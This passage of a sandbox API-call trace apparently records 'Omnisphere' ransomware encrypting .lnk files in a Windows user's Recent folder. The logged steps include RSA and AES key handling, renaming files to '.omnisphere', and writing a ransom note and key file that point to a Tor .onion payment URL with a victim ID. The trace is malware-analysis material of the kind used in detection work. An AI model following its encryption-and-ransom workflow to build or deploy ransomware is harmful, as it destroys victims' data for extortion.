GetProcessHeap () returned 0x1600000 [0120.318] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x1656388 [0120.318] PathCombineW (in: pszDest=0x1656388, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="HVQiIJaQW.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HVQiIJaQW.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HVQiIJaQW.lnk" [0120.318] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HVQiIJaQW.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hvqiijaqw.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.318] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=643) returned 1 [0120.318] GetTickCount () returned 0x115e0f6 [0120.318] GetTickCount () returned 0x115e0f6 [0120.318] GetTickCount () returned 0x115e0f6 [0120.318] GetTickCount () returned 0x115e0f6 [0120.318] GetTickCount () returned 0x115e0f6 [0120.318] GetTickCount () returned 0x115e0f6 [0120.318] GetTickCount () returned 0x115e0f6 [0120.318] GetTickCount () returned 0x115e0f6 [0120.318] GetTickCount () returned 0x115e0f6 [0120.318] GetTickCount () returned 0x115e0f6 [0120.318] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] GetTickCount () returned 0x115e0f6 [0120.319] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669098) returned 1 [0120.320] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0120.320] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.320] CryptDestroyKey (hKey=0x16394e8) returned 1 [0120.320] CryptReleaseContext (hProv=0x1669098, dwFlags=0x0) returned 1 [0120.320] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x283, lpName=0x0) returned 0x288 [0120.321] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x283) returned 0x1480000 [0120.321] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0120.321] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0120.321] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.321] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.322] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.323] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.323] CryptDestroyKey (hKey=0x1639868) returned 1 [0120.323] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0120.323] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x283, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.323] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.323] GetProcessHeap () returned 0x1600000 [0120.323] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ac) returned 0x16c9b60 [0120.324] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HVQiIJaQW.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hvqiijaqw.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HVQiIJaQW.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hvqiijaqw.lnk.omnisphere")) returned 1 [0120.324] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HVQiIJaQW.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HVQiIJaQW.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HVQiIJaQW.lnk.omnisphere.id" [0120.324] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HVQiIJaQW.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hvqiijaqw.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.325] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.326] CloseHandle (hObject=0x3c0) returned 1 [0120.326] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.326] CloseHandle (hObject=0x288) returned 1 [0120.326] SetEndOfFile (hFile=0x28c) returned 1 [0120.326] FlushFileBuffers (hFile=0x28c) returned 1 [0120.330] CloseHandle (hObject=0x28c) returned 1 [0120.330] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\HVQiIJaQW.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.330] GetProcessHeap () returned 0x1600000 [0120.330] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0120.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.331] GetProcessHeap () returned 0x1600000 [0120.331] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1e10 [0120.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1e10, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.331] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.331] GetProcessHeap () returned 0x1600000 [0120.331] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16b01c8 [0120.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16b01c8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.331] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.331] GetProcessHeap () returned 0x1600000 [0120.331] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bf470 [0120.331] PathCombineW (in: pszDest=0x16bf470, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.331] GetProcessHeap () returned 0x1600000 [0120.331] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c7e10 [0120.331] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.331] WriteFile (in: hFile=0x28c, lpBuffer=0x16c7e10*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c7e10*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.331] CloseHandle (hObject=0x28c) returned 1 [0120.332] GetProcessHeap () returned 0x1600000 [0120.332] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0120.332] GetProcessHeap () returned 0x1600000 [0120.332] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0120.332] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.332] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.332] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.332] CloseHandle (hObject=0x28c) returned 1 [0120.332] GetProcessHeap () returned 0x1600000 [0120.332] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.332] GetProcessHeap () returned 0x1600000 [0120.332] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1656388 | out: hHeap=0x1600000) returned 1 [0120.332] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd97f0f, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1dd97f0f, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1dd97f0f, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5fb, dwReserved0=0x0, dwReserved1=0xd3, cFileName="hWpM-zhmbQw48.ots.lnk", cAlternateFileName="HWPM-Z~1.LNK")) returned 1 [0120.333] GetProcessHeap () returned 0x1600000 [0120.333] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x16bf5e0 [0120.333] PathCombineW (in: pszDest=0x16bf5e0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="hWpM-zhmbQw48.ots.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hWpM-zhmbQw48.ots.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hWpM-zhmbQw48.ots.lnk" [0120.333] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.333] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\hWpM-zhmbQw48.ots.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\hwpm-zhmbqw48.ots.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.333] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1531) returned 1 [0120.333] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xd7, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.333] ReadFile (in: hFile=0x28c, lpBuffer=0x3e0d274, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d7bc, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesRead=0x3e0d7bc*=0x524, lpOverlapped=0x0) returned 1 [0120.333] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5fb, lpName=0x0) returned 0x288 [0120.333] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0120.333] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.333] CloseHandle (hObject=0x288) returned 1 [0120.333] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] GetTickCount () returned 0x115e106 [0120.334] 